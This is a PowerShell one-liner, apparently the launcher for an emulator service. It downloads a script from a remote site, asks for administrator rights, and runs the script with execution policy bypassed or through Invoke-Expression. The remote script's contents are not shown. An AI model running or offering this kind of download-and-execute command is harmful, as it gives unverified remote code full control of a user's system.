$u='https://immortal-emulator.com/saturn_s';try{Write-Host ' connecting to immortal...' -ForegroundColor DarkGray;$s=(New-Object Net.WebClient).DownloadString($u);$isAdmin=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator);if(-not $isAdmin){Write-Host ' requesting admin...' -ForegroundColor DarkGray;$tmp=[IO.Path]::Combine([IO.Path]::GetTempPath(),[IO.Path]::GetRandomFileName()+'.ps1');[IO.File]::WriteAllText($tmp,$s,[Text.Encoding]::UTF8);Start-Process powershell -Verb RunAs -ArgumentList @('-NoProfile','-ExecutionPolicy','Bypass','-File',$tmp);exit};Invoke-Expression $s}catch{Write-Host ' connection failed. is the server running?' -ForegroundColor Red;Start-Sleep 4}